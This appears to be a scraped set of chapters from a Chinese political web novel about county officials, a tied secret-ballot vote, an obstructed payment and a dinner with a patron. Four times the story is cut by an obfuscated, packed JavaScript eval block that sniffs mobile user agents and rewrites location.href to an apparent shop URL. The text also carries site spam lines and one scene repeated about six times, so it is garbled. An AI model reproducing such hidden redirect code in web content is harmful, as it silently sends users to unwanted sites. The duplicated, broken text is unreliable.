就算是市领导在这里列席会议,如果没有深入了解产业园区情况,或许,也会认同陈红旗的安排。 “我赞同陈县长的观点。” 县委专职**常远率先表示了赞同,并给出了他的想法:“李承同志是**副县长,让一个**副县长,在管委会里,听从**同志这位普通副县长的号召,本身就是反常规的。” 他的话,说在了重点上。 管委会主任是要在党工委**的领导下,**副县长担任主任,让普通副县长担任**,这种安排极其少见,不符合常规。 “**副县长的权重,远高于普通副县长,这种安排确实欠缺考虑。”纪委**曹海涛认同道。 看着**们的议论,王革敲了敲桌子,说:“反常规,不代表不合规,这中间存在一个先入为主的问题。 李承同志的管委会主任是上级领导安排的,他本人也没有意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319966|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们不在这个问题上多做讨论。” “我本人没有建议,在产业园区方面,**同志比我有经验。” 李承也站了出来,全力维护**。 虽说,陈红旗的提议对他有利,但这个利,只是表面的。 若是让田鑫担任了管委会主任,管委会行政方面,再次落入了陈红旗手里。 那么,关于管委会的**斗争,将会持续不断。 只有**和李承占据党政实权,才能解决内部问题,进入良性的发展阶段。 “**同志的问题,市纪委已经查实,如果我们在这个时候,没有给**官复原职。 是不是会让市里认为,我们县领导班子质疑他们的调查结果呀? 既然她是清白的,我们就不能寒了这位廉政干部的心。 官复原职既是规定,也是组织的和谐稳定。 我的态度很坚定,支持**同志回到管委会继续担任党工委**!” 李承直接搬出了组织规定,和上级纪委来压人。 “既然大家的想法不同,那就举手表决吧!” 陈红旗不想再继续争辩,他占有大部分票权,又给了李承台阶。 话已经说到这个份上了,李承不识趣,他也就懒得废话。 想直接使用他最擅长的手段,结束这场会议! “争议较大,关于**同志的**问题,今天我们不举手,进行不记名投票。 同意免去**同志管委会党工委**的打对号,不同意打叉。” 王革看向县委办主任冯刚,示意他去安排。 如何投票,这是县委**的权力。 不记名投票是李承和王革商量下的结果。 李承为了**的事情,各处去拉票,这些人都是本地派。 不记名投票,就可以让他们在不公开,不直接得罪陈红旗的情况下,进行选择。 就算他们投向了李承,陈红旗也不知道是谁投的票,能最大程度帮助他们隐藏身份。 这种方式,更能让摇摆不定的人,做出倾向于李承的选择! 第347章 平票 不记名投票,需用计票人和监票人来统筹。 计票和监票不能是县委**中的任何一位,而是由组织部副部长负责计票,纪委**来监票。 很快,这两人赶到了会场,给各位**分发选票。 大家纷纷拿起笔,进行填写结果,并按照顺序,投入到密封票箱之中 “请监票人,计票人进行当场唱票。 得到王革的示意,组织部副部长在纪委**的盯票下,进行拆封,计票。 他一张张地拿起选票,高声唱票: “同意! “不同意! “不同意! “同意! "" 组织部副部长唱票的同时,会在黑板上进行记录,写‘正’字。 “同意! 随着最后一张投票唱完,最后一笔落下,全场陷入沉默。 十张选票,无一人弃权。 在同意与不同意的下面,写着两个‘正’字。 平票! 陈红旗的目光看向本地派的几人,眼中充斥着怒火! 满打满算,李承,王革,冯刚和宣传部长宁文静加在一起,不过四票。 但现在出现了平票的情况。 这证明,他们内部出现了叛徒,有人支持了李承等人. 他的目光,最后定格在了常务副县长崔学文的脸上,在他看来,这个内部叛徒就是崔学文。 面对陈红旗的质问目光,崔学文没有做出任何反应。 ‘看来崔学文是心动了。’ 李承向崔学文投去感谢的目光,在他看来,这张票是崔学文投给他的。 毕竟,李承就主动找过两个**。 李春生未到场,只剩下崔学文。 他没有想过是辛磊,因为石文海的态度是拒绝。 李承看向崔学文的暧昧目光,被陈红旗察觉在眼里,他更加确信,那个‘叛徒’是崔学文! “本次表决赞成票未过半,根据干部任用条例,提议不予通过,**同志继续担任管委会党工委**一职,议题终止审议! 王革看着投票结果,满意的宣布了结果。 别看王革已经被架空了,但作为**会议的主持人,他可以通过规则,决定平票后的走向。 他既可以,暂缓提议,等到下次**会重新投票。 还可以直接宣布结果,不再议。 暂缓再议对王革来说 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 没好处。 再搞一次,等人到齐,王革和李承必输,所以,他直接宣布终止审议,不搞第二次。 “王**,今天**部的李部长缺席,是不是下次**会上再议一次?” 陈红旗不甘心。 若是再开一次,他有把握通过。 “**实到三分之二,就可以进行**的议题。 这次会议符合规定,并且,按规定,同一职务不得再次提请会议审议。 今天这个结果就是最终结果,议题到此为止,不再上会!” 王革一口一个规定,将陈红旗压到哑口无言。 这还是他到风林县担任县委**以来,第一次在**会上扬眉吐气,压陈红旗一头。 王革看向众位**,语气平静:“大家没其他问题的话,就散会吧!” 出了会议室。 李承满面春光地撵上崔学文的步伐:“常务,晚上有时间吗? 前天您就拒绝了我的邀请,今晚应该赏脸了吧。” “额不了,我老婆去聚会,我晚上陪孩子吃。”崔学文沉吟片刻,目光下意识看了一眼前方的陈红旗,拒绝道。 “行,那下次。” 李承微微一笑,没有强求。 他刻意强调前天晚上邀请过崔学文,就是故意给陈红旗听。 包括投票结果出来,李承故意投向崔学文的暧昧目光,也是故意给陈红旗看的。 他就是要让陈红旗知道,帮自己投票的人是崔学文。 李承要激化他们内部的矛盾,就不得不给崔学文拉下水。 虽说,这么做有些不仗义,摆了崔学文一道。 **斗争,向来如此。 “嗯。” 崔学文点了点头,他的心情也很沉闷。 在投票时,他最终的选择,是靠向陈红旗。 可最后的平票结果,出乎了他的意料。 而面对陈红旗的猜忌,他也只能哑巴吃黄连,有苦难言。 县委专职副**常远,以及组织部长蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319967|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正,是跟陈红旗牢牢捆在一起的,这三张票毋庸置疑。 问题就出现在纪委**曹海涛和政法委**辛磊身上。 这两个人,又是以崔学文这位常务副县长马首是瞻。 崔学文和陈红旗还不对付,有旧矛盾。 从各个角度,陈红旗第一个怀疑人,都是他崔学文。 而崔学文又不能去主动解释。 曹海涛与辛磊倾向他,无论这两 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 个人谁帮了李承,他都要担下来。 未来,他还需要这两个人的票。 所以,崔学文只能选择吃下这个哑巴亏! 李承并不知道,这张票是辛磊投下的。 辛磊之所以帮李承和**,是给石文海老**的面子。 对于这个答案。 辛磊也不会主动告诉给李承,他不想被陈红旗猜疑。 ‘咚咚咚’ 回到管委会,李承正在看回汉江的高铁票时,办公室门被敲响。 “进。” 得到李承的许可,政府办副主任何林走了进来。 在他的手里拿着一沓资料:“李县长,这是给旗胜的批款资料,您看一下。” “嗯,放着吧,我现在还有其他公务,周一我回来看。”李承扫了一眼那沓资料,说。 旗胜建筑管委会办公楼的尾款还没有结清。 钱,一直在管委会的账户上。 没有李承的签字,这笔钱谁也拿不出去,包括陈红旗也不行! 之前,李承想挪用这笔钱付给修路补偿的村民,但那些人不识相,李承也就放任不管了。 陈红胜故意卡修路,给他找麻烦,李承也就卡他的款。 这些资料,分管副主任也给李承递交上来过,但被李承找借口打回去了。 他除了要卡陈红胜,还要卡政府办,谁让赵兵给他找麻烦! “李县长,建筑方那边已经催了几次了,下面也核查清楚,就差您签字了。” 何林难为情的说。 旗胜的背后是陈红旗,钱迟迟不到账,陈红旗怪罪下来,何林这个政府办专门配合李承的副主任,可能也要被殃及池鱼。 “我知道了,你回去吧。” 第348章 卡款 “您看一下,今天就把字签了吧,赵主任也来问了两次,是陈县长那边在催。” 何林没有离开,站在原地不肯走。 “赵兵着急,那就让赵兵过来找我。” 李承摆了摆手,拿起桌子上的其他文件,装模作样的工作起来,将何林搁置一旁。 李承卡着款不批,部分原因就是针对赵兵。 何林还偏偏提起到了这个人,无异于自找苦吃。 见李承不理不睬,何林无奈的退出了办公室。 ‘铃铃铃’ 他走后没多久,县政府办的电话就打了过来。 “喂,李县长。” 李承接起电话,赵兵的声音传了过来。 “嗯。” 李承用鼻音应了一声。 “旗胜的批款资料是有什么问题吗?按照流程与合同约定,已经到了打款日期。” 赵兵搬出合同约定,想用规定来逼李承签字。 “有没有问题,还要我看过再说,等我周一看完的。”李承敷衍道。 “您还有一下午的时间,抽空看一下吧,陈县长今天就要全部资料。” 赵兵提起陈红旗,再次给李承施压。 “我哪有空?我现在是孤家寡人,连一个配合工作的联络员都没有,管委会还有一堆事等着我来处理,哪一件不比这事急! 批款不能顺利进展,你不用催促我,是你这个政府办主任的工作问题! 陈县长着急,等周一政府工作会议,我亲自跟他汇报!” 李承语气严肃,对赵兵进行了点名批评:“还有其他事情吗?” “没了。” 赵兵深吸一口气,稳定情绪,回答道。 他的话刚说完,只听电话里响起一阵忙音。 李承挂断了电话。 放下话筒,赵兵倚靠在办公椅上,眉头紧锁。 他知道,李承在针对他。 他本以为有陈红旗撑腰,李承会乖乖接受他给安排的联络员,任人摆布。 可他没想到,李承根本不在意陈红旗的威慑力。 尤其是今天,他听说陈红旗在**会上的议题不通过,更让他对李承忌惮起来。 要知道,在李承到风林县之前,陈红旗向来说一不二。 赵兵点燃一根香烟。 他想将戚瑶送到李承身边,可又不甘示弱。 示弱了一次,以后就要被拿捏! 回汉江的高铁上。 李承给杨兆华 打去了一个电话:“喂,老领导,忙什么呢?” “刚到家吃口饭,你那边怎么样,那个管委会**保住了吗?”杨兆华咀嚼着饭菜,随口问。 官场的人脉关系,需要多维护。 尤其是孟良德,杨兆华这两位**资源,后台背景。 李承隔三岔五就会联系这两位老领导,叙叙家常,向他们做一些工作上的汇报。 既是维护情谊,也是在表明对方在自己心中的地位。 汇报工作,那是下属向上级做的事情。 李承跟他们汇报风林县情况,就是告诉对方,他们始终是自己的领导! “保住了。” 李承回答后,向杨兆华发出邀请:“明天有时间吗?我想请您和嫂子一起吃个饭。 许梦辞职准备跟我去风林了,以后我回汉江的机会可能就少了。” “有时间,我们也不到外面吃,就在家里,让你嫂子做几个拿手好菜,咱哥俩好好喝点。”杨兆华道。 “好啊,我早就想吃嫂子做的红烧刀鱼了,明天能不能让嫂子辛苦一下呀,哈哈哈” 李承笑嘻嘻地点了一道菜。 他和杨兆华的关系,早就超出了官场同志的层面,相处无需拘谨。 “那我得问问你嫂子,我说的不算,得请示倪红同志,呵呵.” 杨兆华笑呵呵的说完,那边传来倪红询问杨兆华的声音:“谁呀?” “李承明天回汉江,想吃你做的红烧刀鱼。”杨兆华向倪红解释。 “李承,你能听见吗?” 倪红大声询问李承,她的声音由远及近。 “能听见,嫂子。” “除了红烧刀鱼还有什么想吃的,嫂子给你做。”倪红接过电话,热情的询问李承。 倪红对李承的印象很好。 尤其是李承在纪委被调查期间,宁可错过晋升机会,也没有乱讲话,给杨兆华争取了时间。 仅凭这一点,倪红对李承就很感谢。 “没有,就想吃您做的刀鱼。”李承笑着说。 “行,你再想想,有什么想吃的就跟嫂子说。” “好嘞。” 风林县。 一个平房庭院内,陈红旗拿着一个扫帚,跟在一位满面威严的老者身后。 老者手里拿着剪刀,修剪着花枝。 掉落下来的花枝花叶,陈红旗立马殷勤的扫进簸箕里。 “老**,现在崔学文实在太不像话了,今天的**会上,他 竟然投了王革和李承的票,您得管一管了。 不然迟早,这个风林县得姓王,姓李!” 陈红旗义愤填膺的怒斥着崔学文。 他太独断专行了,他甚至没有搞清楚是谁投的票,就全部归咎到了崔学文的头上。 听到陈红旗的话,洪老**眉头一皱:“风林县是人民的,是党和国家的,以后这些话注意一点!” 被训斥了一句,陈红旗连忙解释:“我这也是被气昏了头,您放心,这点分寸我还是有的。” “你有什么分寸?” 洪老**将剪刀扔到一旁的工具桶里,冷声质问。 “这” 面对这个质问,陈红旗一时间不明白洪老**的意思。 “当初让你当县长就是一个错误,但凡你有一点分寸,也不会惹这么多的祸。” 洪老**阴沉着脸,朝屋里走去。 “老**,一切都是按照您的吩咐办事,怎么惹祸了?” 陈红旗不解,到现在为止,他都没有意识到问题的严重性。 “听我的吩咐?你让你弟弟接政府工程,是我吩咐的吗?”洪老**冷哼一声。 洪明德在风林县做‘一言堂’**,还能顺利退休,他远比陈红旗更有原则。 陈红胜接手政府工程时,洪明德是严厉反对。 但陈红旗被利益冲昏头脑,外加他认为自己在风林县有了绝对话语权,所以,直接跳过了洪明德,搞了一个先斩后奏。 对此,洪明德早已不满。 竟然投了王革和李承的票,您得管一管了。 不然迟早,这个风林县得姓王,姓李!” 陈红旗义愤填膺的怒斥着崔学文。 他太独断专行了,他甚至没有搞清楚是谁投的票,就全部归咎到了崔学文的头上。 听到陈红旗的话,洪老**眉头一皱:“风林县是人民的,是党和国家的,以后这些话注意一点!” 被训斥了一句,陈红旗连忙解释:“我这也是被气昏了头,您放心,这点分寸我还是有的。” “你有什么分寸?” 洪老**将剪刀扔到一旁的工具桶里,冷声质问。 “这” 面对这个质问,陈红旗一时间不明白洪老**的意思。 “当初让你当县长就是一个错误,但凡你有一点分寸,也不会惹这么多的祸。” 洪老**阴沉着脸,朝屋里走去。 “老**,一切都是按照您的吩咐办事,怎么惹祸了?” 陈红旗不解,到现在为止,他都没有意识到问题的严重性。 “听我的吩咐?你让你弟弟接政府工程,是我吩咐的吗?”洪老**冷哼一声。 洪明德在风林县做‘一言堂’**,还能顺利退休,他远比陈红旗更有原则。 陈红胜接手政府工程时,洪明德是严厉反对。 但陈红旗被利益冲昏头脑,外加他认为自己在风林县有了绝对话语权,所以,直接跳过了洪明德,搞了一个先斩后奏。 对此,洪明德早已不满。 竟然投了王革和李承的票,您得管一管了。 不然迟早,这个风林县得姓王,姓李!” 陈红旗义愤填膺的怒斥着崔学文。 他太独断专行了,他甚至没有搞清楚是谁投的票,就全部归咎到了崔学文的头上。 听到陈红旗的话,洪老**眉头一皱:“风林县是人民的,是党和国家的,以后这些话注意一点!” 被训斥了一句,陈红旗连忙解释:“我这也是被气昏了头,您放心,这点分寸我还是有的。” “你有什么分寸?” 洪老**将剪刀扔到一旁的工具桶里,冷声质问。 “这” 面对这个质问,陈红旗一时间不明白洪老**的意思。 “当初让你当县长就是一个错误,但凡你有一点分寸,也不会惹这么多的祸。” 洪老**阴沉着脸,朝屋里走去。 “老**,一切都是按照您的吩咐办事,怎么惹祸了?” 陈红旗不解,到现在为止,他都没有意识到问题的严重性。 “听我的吩咐?你让你弟弟接政府工程,是我吩咐的吗?”洪老**冷哼一声。 洪明德在风林县做‘一言堂’**,还能顺利退休,他远比陈红旗更有原则。 陈红胜接手政府工程时,洪明德是严厉反对。 但陈红旗被利益冲昏头脑,外加他认为自己在风林县有了绝对话语权,所以,直接跳过了洪明德,搞了一个先斩后奏。 对此,洪明德早已不满。 竟然投了王革和李承的票,您得管一管了。 不然迟早,这个风林县得姓王,姓李!” 陈红旗义愤填膺的怒斥着崔学文。 他太独断专行了,他甚至没有搞清楚是谁投的票,就全部归咎到了崔学文的头上。 听到陈红旗的话,洪老**眉头一皱:“风林县是人民的,是党和国家的,以后这些话注意一点!” 被训斥了一句,陈红旗连忙解释:“我这也是被气昏了头,您放心,这点分寸我还是有的。” “你有什么分寸?” 洪老**将剪刀扔到一旁的工具桶里,冷声质问。 “这” 面对这个质问,陈红旗一时间不明白洪老**的意思。 “当初让你当县长就是一个错误,但凡你有一点分寸,也不会惹这么多的祸。” 洪老**阴沉着脸,朝屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319968|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里走去。 “老**,一切都是按照您的吩咐办事,怎么惹祸了?” 陈红旗不解,到现在为止,他都没有意识到问题的严重性。 “听我的吩咐?你让你弟弟接政府工程,是我吩咐的吗?”洪老**冷哼一声。 洪明德在风林县做‘一言堂’**,还能顺利退休,他远比陈红旗更有原则。 陈红胜接手政府工程时,洪明德是严厉反对。 但陈红旗被利益冲昏头脑,外加他认为自己在风林县有了绝对话语权,所以,直接跳过了洪明德,搞了一个先斩后奏。 对此,洪明德早已不满。 竟然投了王革和李承的票,您得管一管了。 不然迟早,这个风林县得姓王,姓李!” 陈红旗义愤填膺的怒斥着崔学文。 他太独断专行了,他甚至没有搞清楚是谁投的票,就全部归咎到了崔学文的头上。 听到陈红旗的话,洪老**眉头一皱:“风林县是人民的,是党和国家的,以后这些话注意一点!” 被训斥了一句,陈红旗连忙解释:“我这也是被气昏了头,您放心,这点分寸我还是有的。” “你有什么分寸?” 洪老**将剪刀扔到一旁的工具桶里,冷声质问。 “这” 面对这个质问,陈红旗一时间不明白洪老**的意思。 “当初让你当县长就是一个错误,但凡你有一点分寸,也不会惹这么多的祸。” 洪老**阴沉着脸,朝屋里走去。 “老**,一切都是按照您的吩咐办事,怎么惹祸了?” 陈红旗不解,到现在为止,他都没有意识到问题的严重性。 “听我的吩咐?你让你弟弟接政府工程,是我吩咐的吗?”洪老**冷哼一声。 洪明德在风林县做‘一言堂’**,还能顺利退休,他远比陈红旗更有原则。 陈红胜接手政府工程时,洪明德是严厉反对。 但陈红旗被利益冲昏头脑,外加他认为自己在风林县有了绝对话语权,所以,直接跳过了洪明德,搞了一个先斩后奏。 对此,洪明德早已不满。 竟然投了王革和李承的票,您得管一管了。 不然迟早,这个风林县得姓王,姓李!” 陈红旗义愤填膺的怒斥着崔学文。 他太独断专行了,他甚至没有搞清楚是谁投的票,就全部归咎到了崔学文的头上。 听到陈红旗的话,洪老**眉头一皱:“风林县是人民的,是党和国家的,以后这些话注意一点!” 被训斥了一句,陈红旗连忙解释:“我这也是被气昏了头,您放心,这点分寸我还是有的。” “你有什么分寸?” 洪老**将剪刀扔到一旁的工具桶里,冷声质问。 “这” 面对这个质问,陈红旗一时间不明白洪老**的意思。 “当初让你当县长就是一个错误,但凡你有一点分寸,也不会惹这么多的祸。” 洪老**阴沉着脸,朝屋里走去。 “老**,一切都是按照您的吩咐办事,怎么惹祸了?” 陈红旗不解,到现在为止,他都没有意识到问题的严重性。 “听我的吩咐?你让你弟弟接政府工程,是我吩咐的吗?”洪老**冷哼一声。 洪明德在风林县做‘一言堂’**,还能顺利退休,他远比陈红旗更有原则。 陈红胜接手政府工程时,洪明德是严厉反对。 但陈红旗被利益冲昏头脑,外加他认为自己在风林县有了绝对话语权,所以,直接跳过了洪明德,搞了一个先斩后奏。 对此,洪明德早已不满。 竟然投了王革和李承的票,您得管一管了。 不然迟早,这个风林县得姓王,姓李!” 陈红旗义愤填膺的怒斥着崔学文。 他太独断专行了,他甚至没有搞清楚是谁投的票,就全部归咎到了崔学文的头上。 听到陈红旗的话,洪老**眉头一皱:“风林县是人民的,是党和国家的,以后这些话注意一点!” 被训斥了一句,陈红旗连忙解释:“我这也是被气昏了头,您放心,这点分寸我还是有的。” “你有什么分寸?” 洪老**将剪刀扔到一旁的工具桶里,冷声质问。 “这” 面对这个质问,陈红旗一时间不明白洪老**的意思。 “当初让你当县长就是一个错误,但凡你有一点分寸,也不会惹这么多的祸。” 洪老**阴沉着脸,朝屋里走去。 “老**,一切都是按照您的吩咐办事,怎么惹祸了?” 陈红旗不解,到现在为止,他都没有意识到问题的严重性。 “听我的吩咐?你让你弟弟接政府工程,是我吩咐的吗?”洪老**冷哼一声。 洪明德在风林县做‘一言堂’**,还能顺利退休,他远比陈红旗更有原则。 陈红胜接手政府工程时,洪明德是严厉反对。 但陈红旗被利益冲昏头脑,外加他认为自己在风林县有了绝对话语权,所以,直接跳过了洪明德,搞了一个先斩后奏。 对此,洪明德早已不满。 第349章 县太爷 “老**,您也知道,我家都穷几代人了,就想要一个翻身的机会。 咱们风林县穷,好不容易有这个机会,我也想改善改善家人的生活水平。 做人做官,连自己的家人都照顾不好,又怎么去照顾全县百姓呢?您说是不是? 陈红旗脸上堆积着笑容,奉承着洪明德。 他对洪明德殷勤,并非他打心眼里敬重这位老**,他对洪明德早有逆反心。 只不过,他需要洪明德这杆大旗,给他维系‘一言堂’的权威。 “你现在是县长,你有什么私心跟我没关系,最起码,你是不是应该把项目做好一些呀!太贪得无厌了吧! 洪明德看着陈红旗就气不打一处来。 陈红旗给弟弟拿项目,他也能睁一只眼闭一只眼,毕竟退休了,他也不想管那么多。 可拿了项目,不好好做,偷工减料惹了一堆麻烦,他不认可这种行为。 他也很清楚,陈红旗早晚要出事! “这都是我那个弟弟的问题,我已经严厉训斥过他了,今后,一切按照国家标准执行。 陈红旗将所有问题推到陈红胜身上,以此来敷衍。 洪明德点燃了一根香烟,不屑于跟陈红旗争辩,他将话题转回到崔学文身上:“投票的事儿,是我安排崔学文这么做的,你不用找他的麻烦。 产业园区需要有能力的同志把关,**这姑娘不错,以后你就管好风林县和你弟弟,产业园区的事情少插手吧。 洪明德并没有安排崔学文给**投票,只是,他要维护内部和谐,就需要将责任揽到自己身上。 他虽然退休了,但也清楚产业园区是上级领导重视的项目,他不想让陈红旗毁了这个项目。 这其中,既有为风林县发展的考虑,也是为了这些老下属考虑。 “还有,那些肮脏的手段,不要再用了!你什么时候,学成这个样子了! 洪明德弹了弹烟灰,怒视着陈红旗。 对于陈红旗诬陷**的手段,他非常厌恶。 如果他还是县委**,即便陈红旗是他的下属,他也会将陈红旗赶下台。 只是现在他退居幕后,没办法那么做。 洪明德算不上什么好干部,他在位时,也做出很多错误,不利于百姓的决定。 但他有分寸,从未像陈红旗这么不择手段过。 “我知道了。 陈红旗语气中稍显不耐烦:“但是老**,产业园区我不能不管 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,那是在县政府领导下的项目,是我的工作范畴。” 见陈红旗反驳自己,洪明德深深吸了一口烟。 眼神从愤怒与厌恶,变成了无奈,最后又出现一抹戏谑。 “呵呵.红旗呀,你大了。” 洪明德意味深长的笑了笑,语气放缓:“你想怎么做都可以,但作为老领导,我给你一个建议,不要去招惹新来的李县长。” 李承给省部级领导当过秘书,背景雄厚。 陈红旗身上又那么多问题。 洪明德早就建议过陈红旗,不要跟李承对着干,要去拉拢,去迎合。 但他没想到,陈红旗脑子抽风,选择给李承送女人。 而在李承触碰到了他的利益时,他也没想过退缩,反倒是跟李承硬碰硬,想要以绝对权威去压迫李承。 这一系列的骚操作,都让洪明德认为陈红旗脑子有病。 “我也不想招惹他,他自己不识趣。”陈红旗闻言,叹了一口气。 刘婷是他精挑细选的女人,他送给李承,是示好,也是想以此作为要挟手段。 自从当上了县长,当真真切切地体会到了‘县太爷’的快感。 在这个县城里,他说一不二,奉承他的人也很多,让他早已迷失在权力中。 权力之大,他今晚做个梦,只要他想,明天就能梦想成真。 绝对威权之下,他眼里容忍不了任何人来分享他的控制权,跟他作对。 李承出现后,跟他处处作对,触碰他的利益。 最开始,陈红旗也忌惮李承的背景。 但这份忌惮,随着他一步步去试探,发现并没有什么大领导来干涉,去敲打他,这让他放松了警惕。 尤其,在他的身边还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324851|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群人吹耳边风。 说,孟良德离开东江省,在官斗下的落荒而逃。 说,李承被派遣到这个小县城,是**斗争失败的牺牲品,在省里得罪了很多官等等. 在那些言论洗脑下,陈红旗渐渐也认为,李承是被领导抛弃的,他的背景就是唬人的。 “老**,您不用因为李承担心,他是一个纸老虎。”陈红旗道。 “呵呵.” 对此,洪明德笑了笑,没有回答。 陈红旗没什么本事,他能爬到这个位置上,是靠着时间的积累,以及阿谀奉承的站队。 在官道上,他不如洪明德半分。 陈红旗只知道,孟良德是被撵出东江省的,却从未去调查过孟良德现在的职位 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 但洪明德打听过。 只是,他也不愿意再跟陈红旗废话。 好言劝不了该死的鬼,事情到如今,再劝也没什么用。 在洪明德的心中,陈红旗已经被打上了‘弃子’的标签! 次日。 李承从家里拿了两瓶红酒,又买了一些海鲜,带着许梦敲响了杨兆华的家门。 倪红喜欢吃海鲜,尤其是螃蟹,所以每次上门,李承都会带。 “这还是李承第一次带女朋友来家里做客,比电视机里还漂亮呀,李承,你蛮有福气的嘛,哈哈” 两个人坐在沙发上,倪红端了盘水果过来,十分热情的调侃着。 “嫂子,她能找到我这么优秀的男朋友,是她有福气。”李承拿起两个许梦喜欢吃的草莓,塞进她手里,玩笑着回应。 “哈哈,得了吧。” 倪红哈哈一笑,说:“我还有两个菜没出锅,你们先聊着。” “我去帮忙。”许梦站起身,说。 “不用,都是油烟味,你坐着吧。”倪红婉拒道。 “没关系,我去帮你把海鲜蒸上。” 许梦性格相对腼腆,去别人家做客,尤其是领导或长辈家里,如果不搭把手,她总觉得坐立不安。 “嗯,那好。” 第350章 再聚 许梦去了厨房,客厅里只剩下李承和杨兆华两个人。 “萌萌回去上学了? 李承按下茶几上的开关,茶艺壶开始自动上水,加热。 “开学了。 杨兆华弯下身,拉开抽屉,从里面拿出那盒上次招待孟良德的大红袍:“前两天她还问起你了,关心你在风林县的工作进展。 “她也快毕业了吧? 李承接过茶叶,拿镊子将茶叶夹入茶具中。 “今年就要实习了,明年毕业。杨兆华道。 “准备考研吗?还是参加工作?李承将需要的茶具摆好,随口问。 “她不想考研,准备考公。杨兆华说。 “萌萌学习能力和适应能力都很强,考公对她来说,很合适的一条出路。李承说。 学习能力和适应能力都是其次,主要杨萌萌有一个厅局级(正职)的父亲。 有这层背景,考公对她来说就是人生捷径。 她可以免于任何**斗争,享受最好的**资源,不出意外的话,她在杨兆华退休前,仕途一定是一马平川。 “她自己的人生,让她自己决定吧,当父母的不干涉。杨兆华摆了摆手,道。 ‘哔’ 这时,水烧开了。 李承端起水壶,倒入陶瓷壶中,进行洗茶。 “老领导,现在省里情况怎么样?李承给杨兆华倒了一杯茶,问。 “还可以,正常工作开展,各方势力都安定了许多,梁省长不太愿意掺和到**斗争中。 杨兆华端起茶杯,轻轻吹动上面的热气。 孟良德调任回京后,徐铁生并没有如愿做上省长职位,而是‘空降’了一位过来。 这并非徐铁生能力不行,而是上级领导为了**平衡,采取的措施。 “那也挺好的,你的工作压力会小很多。李承抿了一口茶,说。 “还要感谢老孟,他回京之前,解决很大部分麻烦。杨兆华感慨一声。 前人栽树,后人乘凉。 孟良德就属于那个栽树的人,他到东江省,接替了李雪忠留下来的烂摊子。 解决这些烂摊子,就会触碰一些人的利益,掺和进**斗争里去。 新省长没有那么多麻烦要去解决,而他的眼里,也能容下沙子,对于**斗争和花海集团那些问题,会睁一只眼闭一只眼的纵容。 “天湖庄园呢?有结果没? 天湖庄园是孟良 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 德势必要拆除追责的违建,李承也在全程进行,对于这个做到一半的事,他心里还惦记着。 “恢复正常经营了。 杨兆华无奈一笑,说:“老孟调任回京的第二天,花海集团的人就重新入驻了进去。 “意料之中。对此,李承并不意外。 “前段时间还有很多热心观众为此事**,现在风声也退了,这件事也就不了了之了。杨兆华说。 “很久没见到**的廖局长了,他最近怎么样? 提到**,李承想起了**局的局长廖光辉。 在李承的手机里,还有一段关系到廖光辉**生涯的视频。 “他最近在为省政府副秘书长的职位跑官。 杨兆华回答后,好奇的问:“怎么问起他了? “想到这个人了,就随口问问。李承摇头,说。 如果李承想帮廖光辉,凭借杨兆华的关系,可以让廖光辉进入权力中枢的机会大一些。 李承也想过帮他,这样,既能为他的**资源添砖加瓦,还能帮杨兆华统一内部和谐。 从个人利益来说,利远远大于弊。 只不过,廖光辉能在办公室里干那些事,品德上就不过关。 李承不打算帮他,也不该去掺和组织上的决策。 “吃饭啦。 两个人闲聊时,一道道饭菜端上了桌,倪红招呼二人。 李承启开红酒,给每个人的酒杯上都倒了一些。 “欢迎许梦第一次到家里吃饭,以后回汉江,记得常来,就把这里当家一样。 “谢谢杨哥。 杨兆华举起酒杯,众人碰杯饮酒后,开始动筷。 “我在风林县,最怀念的就是嫂子做的刀鱼,一绝。 “嗯很美味。 许梦细 